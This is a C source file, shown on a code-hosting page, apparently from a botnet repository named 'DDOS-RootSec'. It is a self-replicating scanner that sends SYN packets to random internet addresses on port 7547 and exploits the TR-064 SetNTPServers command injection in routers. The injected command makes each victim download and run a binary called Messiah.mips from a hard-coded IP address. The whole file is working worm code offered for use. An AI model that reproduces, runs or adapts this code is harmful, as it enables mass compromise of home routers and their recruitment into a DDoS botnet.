Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/TR064/tr064.c
5038 views
1
#ifdef SELFREP
2
3
#define _GNU_SOURCE
4
5
#ifdef DEBUG
6
#include <stdio.h>
7
#endif
8
#include <unistd.h>
9
#include <stdlib.h>
10
#include <sys/socket.h>
11
#include <arpa/inet.h>
12
#include <sys/select.h>
13
#include <sys/types.h>
14
#include <time.h>
15
#include <fcntl.h>
16
#include <signal.h>
17
#include <errno.h>
18
#include <string.h>
19
#include <linux/ip.h>
20
#include <linux/tcp.h>
21
22
#include "headers/includes.h"
23
#include "headers/tr064.h"
24
#include "headers/table.h"
25
#include "headers/rand.h"
26
#include "headers/util.h"
27
#include "headers/checksum.h"
28
29
int tr064_scanner_pid = 0, tr064_rsck = 0, tr064_rsck_out = 0;
30
char tr064_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};
31
struct tr064_scanner_connection *conn_table;
32
uint32_t tr064_fake_time = 0;
33
34
int tr064_recv_strip_null(int sock, void *buf, int len, int flags)
35
{
36
int ret = recv(sock, buf, len, flags);
37
38
if(ret > 0)
39
{
40
int i = 0;
41
42
for(i = 0; i < ret; i++)
43
{
44
if(((char *)buf)[i] == 0x00)
45
{
46
((char *)buf)[i] = 'A';
47
}
48
}
49
}
50
51
return ret;
52
}
53
54
void tr064_scanner_init(void)
55
{
56
int i = 0;
57
uint16_t source_port;
58
struct iphdr *iph;
59
struct tcphdr *tcph;
60
61
// Let parent continue on main thread
62
tr064_scanner_pid = fork();
63
if(tr064_scanner_pid > 0 || tr064_scanner_pid == -1)
64
return;
65
66
LOCAL_ADDR = util_local_addr();
67
68
rand_init();
69
tr064_fake_time = time(NULL);
70
conn_table = calloc(tr064_SCANNER_MAX_CONNS, sizeof(struct tr064_scanner_connection));
71
for(i = 0; i < tr064_SCANNER_MAX_CONNS; i++)
72
{
73
conn_table[i].state = tr064_SC_CLOSED;
74
conn_table[i].fd = -1;
75
}
76
77
// Set up raw socket scanning and payload
78
if((tr064_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
79
{
80
#ifdef DEBUG
81
printf("[scanner] failed to initialize raw socket, cannot scan\n");
82
#endif
83
exit(0);
84
}
85
fcntl(tr064_rsck, F_SETFL, O_NONBLOCK | fcntl(tr064_rsck, F_GETFL, 0));
86
i = 1;
87
if(setsockopt(tr064_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)
88
{
89
#ifdef DEBUG
90
printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");
91
#endif
92
close(tr064_rsck);
93
exit(0);
94
}
95
96
do
97
{
98
source_port = rand_next() & 0xffff;
99
}
100
while(ntohs(source_port) < 1024);
101
102
iph = (struct iphdr *)tr064_scanner_rawpkt;
103
tcph = (struct tcphdr *)(iph + 1);
104
105
// Set up IPv4 header
106
iph->ihl = 5;
107
iph->version = 4;
108
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
109
iph->id = rand_next();
110
iph->ttl = 64;
111
iph->protocol = IPPROTO_TCP;
112
113
// Set up TCP header
114
tcph->dest = htons(7547);
115
tcph->source = source_port;
116
tcph->doff = 5;
117
tcph->window = rand_next() & 0xffff;
118
tcph->syn = TRUE;
119
120
#ifdef DEBUG
121
printf("[scanner] scanner process initialized. scanning started.\n");
122
#endif
123
124
// Main logic loop
125
while(TRUE)
126
{
127
fd_set fdset_rd, fdset_wr;
128
struct tr064_scanner_connection *conn;
129
struct timeval tim;
130
int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
131
132
// Spew out SYN to try and get a response
133
if(tr064_fake_time != last_spew)
134
{
135
last_spew = tr064_fake_time;
136
137
for(i = 0; i < tr064_SCANNER_RAW_PPS; i++)
138
{
139
struct sockaddr_in paddr = {0};
140
struct iphdr *iph = (struct iphdr *)tr064_scanner_rawpkt;
141
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
142
143
iph->id = rand_next();
144
iph->saddr = LOCAL_ADDR;
145
iph->daddr = tr064_get_random_ip();
146
iph->check = 0;
147
iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));
148
149
tcph->dest = htons(7547);
150
tcph->seq = iph->daddr;
151
tcph->check = 0;
152
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));
153
154
paddr.sin_family = AF_INET;
155
paddr.sin_addr.s_addr = iph->daddr;
156
paddr.sin_port = tcph->dest;
157
158
sendto(tr064_rsck, tr064_scanner_rawpkt, sizeof(tr064_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));
159
}
160
}
161
162
// Read packets from raw socket to get SYN+ACKs
163
last_avail_conn = 0;
164
while(TRUE)
165
{
166
int n = 0;
167
char dgram[1514];
168
struct iphdr *iph = (struct iphdr *)dgram;
169
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
170
struct tr064_scanner_connection *conn;
171
172
errno = 0;
173
n = recvfrom(tr064_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);
174
if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
175
break;
176
177
if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))
178
continue;
179
if(iph->daddr != LOCAL_ADDR)
180
continue;
181
if(iph->protocol != IPPROTO_TCP)
182
continue;
183
if(tcph->source != htons(7547))
184
continue;
185
if(tcph->dest != source_port)
186
continue;
187
if(!tcph->syn)
188
continue;
189
if(!tcph->ack)
190
continue;
191
if(tcph->rst)
192
continue;
193
if(tcph->fin)
194
continue;
195
if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
196
continue;
197
198
conn = NULL;
199
for(n = last_avail_conn; n < tr064_SCANNER_MAX_CONNS; n++)
200
{
201
if(conn_table[n].state == tr064_SC_CLOSED)
202
{
203
conn = &conn_table[n];
204
last_avail_conn = n;
205
break;
206
}
207
}
208
209
// If there were no slots, then no point reading any more
210
if(conn == NULL)
211
break;
212
213
conn->dst_addr = iph->saddr;
214
conn->dst_port = tcph->source;
215
tr064_setup_connection(conn);
216
}
217
218
FD_ZERO(&fdset_rd);
219
FD_ZERO(&fdset_wr);
220
221
for(i = 0; i < tr064_SCANNER_MAX_CONNS; i++)
222
{
223
int timeout = 5;
224
225
conn = &conn_table[i];
226
//timeout = (conn->state > tr064_SC_CONNECTING ? 30 : 5);
227
228
if(conn->state != tr064_SC_CLOSED && (tr064_fake_time - conn->last_recv) > timeout)
229
{
230
close(conn->fd);
231
conn->fd = -1;
232
conn->state = tr064_SC_CLOSED;
233
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
234
235
continue;
236
}
237
238
if(conn->state == tr064_SC_CONNECTING || conn->state == tr064_SC_EXPLOIT_STAGE2 || conn->state == tr064_SC_EXPLOIT_STAGE3)
239
{
240
FD_SET(conn->fd, &fdset_wr);
241
if(conn->fd > mfd_wr)
242
mfd_wr = conn->fd;
243
}
244
else if(conn->state != tr064_SC_CLOSED)
245
{
246
FD_SET(conn->fd, &fdset_rd);
247
if(conn->fd > mfd_rd)
248
mfd_rd = conn->fd;
249
}
250
}
251
252
tim.tv_usec = 0;
253
tim.tv_sec = 1;
254
nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
255
tr064_fake_time = time(NULL);
256
257
for(i = 0; i < tr064_SCANNER_MAX_CONNS; i++)
258
{
259
conn = &conn_table[i];
260
261
if(conn->fd == -1)
262
continue;
263
264
if(FD_ISSET(conn->fd, &fdset_wr))
265
{
266
int err = 0, ret = 0;
267
socklen_t err_len = sizeof(err);
268
269
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
270
if(err == 0 && ret == 0)
271
{
272
if(conn->state == tr064_SC_EXPLOIT_STAGE2)
273
{
274
#ifdef DEBUG
275
printf("[scanner] FD%d sending payload\n", conn->fd);
276
#endif
277
278
279
util_strcpy(conn->payload_buf, "POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:7547\r\nUser-Agent: r00ts3c-owned-you\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: 526\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\"> <NewNTPServer1>`cd /tmp;wget http://68.183.17.95/Messiah.mips; chmod 777 Messiah.mips; ./Messiah.mips`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>");
280
send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
281
util_zero(conn->payload_buf, sizeof(conn->payload_buf));
282
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
283
284
close(conn->fd);
285
tr064_setup_connection(conn);
286
conn->state = tr064_SC_EXPLOIT_STAGE3;
287
288
continue;
289
}
290
else if(conn->state == tr064_SC_EXPLOIT_STAGE3)
291
{
292
#ifdef DEBUG
293
printf("[scanner] FD%d finnished\n", conn->fd);
294
#endif
295
296
util_strcpy(conn->payload_buf, "POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:7547\r\nUser-Agent: r00ts3c-owned-you\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: 526\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\"> <NewNTPServer1>`cd /tmp;wget http://68.183.17.95/Messiah.mips; chmod 777 Messiah.mips; ./Messiah.mips`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>");
297
send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
298
util_zero(conn->payload_buf, sizeof(conn->payload_buf));
299
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
300
301
close(conn->fd);
302
conn->fd = -1;
303
conn->state = tr064_SC_CLOSED;
304
305
continue;
306
}
307
else
308
{
309
#ifdef DEBUG
310
printf("[scanner] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);
311
#endif
312
313
conn->state = tr064_SC_EXPLOIT_STAGE2;
314
}
315
}
316
else
317
{
318
close(conn->fd);
319
conn->fd = -1;
320
conn->state = tr064_SC_CLOSED;
321
322
continue;
323
}
324
}
325
326
if(FD_ISSET(conn->fd, &fdset_rd))
327
{
328
while(TRUE)
329
{
330
int ret = 0;
331
332
if(conn->state == tr064_SC_CLOSED)
333
break;
334
335
if(conn->rdbuf_pos == tr064_SCANNER_RDBUF_SIZE)
336
{
337
memmove(conn->rdbuf, conn->rdbuf + tr064_SCANNER_HACK_DRAIN, tr064_SCANNER_RDBUF_SIZE - tr064_SCANNER_HACK_DRAIN);
338
conn->rdbuf_pos -= tr064_SCANNER_HACK_DRAIN;
339
}
340
341
errno = 0;
342
ret = tr064_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, tr064_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
343
if(ret == 0)
344
{
345
errno = ECONNRESET;
346
ret = -1;
347
}
348
if(ret == -1)
349
{
350
if(errno != EAGAIN && errno != EWOULDBLOCK)
351
{
352
if(conn->state == tr064_SC_EXPLOIT_STAGE2)
353
{
354
close(conn->fd);
355
tr064_setup_connection(conn);
356
continue;
357
}
358
359
close(conn->fd);
360
conn->fd = -1;
361
conn->state = tr064_SC_CLOSED;
362
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
363
}
364
break;
365
}
366
367
conn->rdbuf_pos += ret;
368
conn->last_recv = tr064_fake_time;
369
370
int len = util_strlen(conn->rdbuf);
371
conn->rdbuf[len] = 0;
372
}
373
}
374
}
375
}
376
}
377
378
void tr064_scanner_kill(void)
379
{
380
kill(tr064_scanner_pid, 9);
381
}
382
383
static void tr064_setup_connection(struct tr064_scanner_connection *conn)
384
{
385
struct sockaddr_in addr = {0};
386
387
if(conn->fd != -1)
388
close(conn->fd);
389
390
if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
391
{
392
return;
393
}
394
395
conn->rdbuf_pos = 0;
396
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
397
398
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
399
400
addr.sin_family = AF_INET;
401
addr.sin_addr.s_addr = conn->dst_addr;
402
addr.sin_port = conn->dst_port;
403
404
conn->last_recv = tr064_fake_time;
405
406
if(conn->state == tr064_SC_EXPLOIT_STAGE2 || conn->state == tr064_SC_EXPLOIT_STAGE3)
407
{
408
}
409
else
410
{
411
conn->state = tr064_SC_CONNECTING;
412
}
413
414
connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
415
}
416
417
static ipv4_t tr064_get_random_ip(void)
418
{
419
uint32_t tmp;
420
uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;
421
422
do
423
{
424
tmp = rand_next();
425
426
o1 = tmp & 0xff;
427
o2 = (tmp >> 8) & 0xff;
428
o3 = (tmp >> 16) & 0xff;
429
o4 = (tmp >> 24) & 0xff;
430
}
431
while(o1 == 127 || // 127.0.0.0/8 - Loopback
432
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
433
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
434
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
435
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
436
(o1 == 10) || // 10.0.0.0/8 - Internal network
437
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
438
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
439
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
440
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
441
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
442
(o1 >= 224) || // 224.*.*.*+ - Multicast
443
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
444
);
445
446
return INET_ADDR(o1,o2,o3,o4);
447
}
448
449
#endif
450
451